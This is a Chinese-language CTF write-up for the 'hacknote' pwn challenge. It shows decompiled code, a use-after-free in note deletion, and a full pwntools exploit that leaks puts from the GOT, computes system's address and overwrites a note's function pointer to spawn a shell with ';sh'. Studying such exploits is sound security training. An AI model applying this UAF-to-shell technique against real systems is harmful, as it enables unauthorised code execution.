1 程序分析

32位,没开 PIE,给的 libc 版本为 2.23

1
2
3
4
5
6
7
8
9
(pwn) secreu@Vanilla:~/code/pwnable/hacknote$ checksec --file=hacknote
[*] '/home/secreu/code/pwnable/hacknote/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8046000)
(pwn) secreu@Vanilla:~/code/pwnable/hacknote$ strings libc_32.so.6 | grep "Ubuntu GLIBC"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.

main 函数首先调用 sub_8048956 打印菜单,告诉我们有 4 个选择

  1. Add note:sub_8048646
  2. Delete note:sub_80487D4
  3. Print note:sub_80488A5
  4. Exit:直接执行 exit(0)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void __noreturn main()
{
int v0; // eax
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
sub_8048956();
read(0, buf, 4u);
v0 = atoi(buf);
if ( v0 != 2 )
break;
sub_80487D4();
}
if ( v0 > 2 )
{
if ( v0 == 3 )
{
sub_80488A5();
}
else
{
if ( v0 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v0 != 1 )
goto LABEL_13;
sub_8048646();
}
}
}

先看 Add note,最多允许添加 5 个 note,在 .bss 段上存放了 malloc(8) 得来的 chunk 地址,这 8 字节前 4 字节为 sub_804862B 函数地址,后 4 字节是根据用户输入 malloc(size) 得到的 chunk 地址,然后将用户输入的 content 写进里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int sub_8048646()
{
int v0; // ebx
int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf[8]; // [esp+14h] [ebp-14h] BYREF
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !*(&ptr + i) )
{
*(&ptr + i) = malloc(8u);
if ( !*(&ptr + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)*(&ptr + i) = sub_804862B;
printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = (int)*(&ptr + i);
*(_DWORD *)(v0 + 4) = malloc(size);
if ( !*((_DWORD *)*(&ptr + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)*(&ptr + i) + 1), size);
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

Delete note,用户指定 index 删除 note,先 free 存放 content 的 chunk,再 free 管理用的 8 字节 chunk,两个 free 都没有置 0,存在 UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int sub_80487D4()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
{
free(*((void **)*(&ptr + v1) + 1));
free(*(&ptr + v1));
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

Print note,用户指定 index,直接调用 note 管理 chunk 前 4 字节存放的函数地址,也就是 sub_804862B,传入的参数是该 note 管理 chunk 的地址,其作用是打印后 4 字节存放的地址指向的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned int sub_80488A5()
{
int v1; // [esp+4h] [ebp-14h]
char buf[4]; // [esp+8h] [ebp-10h] BYREF
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&ptr + v1) )
(*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1));
return __readgsdword(0x14u) ^ v3;
}

int __cdecl sub_804862B(int a1)
{
return puts(*(const char **)(a1 + 4));
}

2 漏洞思路

思路很简单,就是利用它的 UAF,控制管理 note 用的堆块,这样就能够劫持执行流

2.1 泄露 Libc

由于 Add note 会做两次 malloc,所以我们要先 Delete note 两次,释放两个 8 size chunk,再 Add note 一次,并且指定 content size 为 8,这样就能够控制前面释放的其中一个 8 size chunk,能够指定上面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def add(size, content):
io.sendlineafter(b'Your choice :', b'1')
io.sendlineafter(b'Note size :', str(size).encode())
io.sendafter(b'Content :', content)

def delete(idx):
io.sendlineafter(b'Your choice :', b'2')
io.sendlineafter(b'Index :', str(idx).encode())

def show(idx):
io.sendlineafter(b'Your choice :', b'3')
io.sendlineafter(b'Index :', str(idx).encode())

def quit():
io.sendlineafter(b'Your choice :', b'4')

def exploit():
add(0x20, b'A' * 8) # idx 0
add(0x20, b'B' * 8) # idx 1

delete(0)
delete(1)

fake_func = p32(0x804862B)
fake_data = p32(elf.got['puts'])
payload = fake_func + fake_data
add(0x8, payload) # idx 2

show(0)
puts_leak = u32(io.recvline()[:4].strip().ljust(4, b'\x00'))
log.success(f"puts leak: {hex(puts_leak)}")

我们先 Delete note 0 再 Delete note 1,这样下次 Add note 2 我们输入 size 为 8 就能控制 0 号 note 的管理 chunk。 前 4 字节还是 sub_804862B 函数地址,后 4 字节覆盖为 puts 在 got 表的位置,这样我们 Print note 0 就可以泄露 puts 的真实地址

leak_libc

2.2 劫持执行流

拿到 puts 的真实地址后就可以计算出 libc 基址以及 system 地址,先 Delete note 2 然后再 Add 一遍重写其中的内容,前 4 字节改为 system 地址,由于 Print note 传参是 chunk 地址,所以不可避免会先执行 system(addr of system),但是后 4 字节仍可以用于获取 shell,写为 ;sh\x00 即可,其中分号用于分割前面的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def exploit():
add(0x20, b'A' * 8) # idx 0
add(0x20, b'B' * 8) # idx 1

delete(0)
delete(1)

# fake_func = p32(elf.plt['puts'])
fake_func = p32(0x804862B)
fake_data = p32(elf.got['puts'])
payload = fake_func + fake_data
add(0x8, payload) # idx 2

show(0)
puts_leak = u32(io.recvline()[:4].strip().ljust(4, b'\x00'))
log.success(f"puts leak: {hex(puts_leak)}")

libc_base = puts_leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']

delete(2)
payload = p32(system_addr) + b";sh\x00"
add(0x8, payload)
show(0)

io.interactive()